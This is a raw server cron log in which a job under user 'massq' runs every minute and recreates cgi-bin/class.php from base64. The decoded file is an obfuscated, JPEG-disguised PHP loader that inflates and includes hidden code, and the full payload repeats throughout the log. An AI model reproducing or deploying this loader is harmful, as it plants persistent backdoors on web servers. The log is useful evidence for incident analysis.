Nov 15 11:47:01 server CROND[10402]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:48:01 server CROND[10681]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:49:01 server CROND[10958]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:50:01 server CROND[11281]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 11:50:01 server CROND[11283]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 11:50:01 server CROND[11286]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:50:01 server CROND[11284]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 11:50:01 server CROND[11285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 11:51:01 server CROND[11612]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:52:01 server CROND[11972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:53:01 server CROND[12235]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:54:01 server CROND[12512]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:55:01 server CROND[12782]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:55:01 server CROND[12784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 11:55:01 server CROND[12783]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 11:56:01 server CROND[13113]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:57:01 server CROND[13487]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 11:57:01 server CROND[13488]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:58:01 server CROND[13754]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:59:01 server CROND[14025]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:00:01 server CROND[14323]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
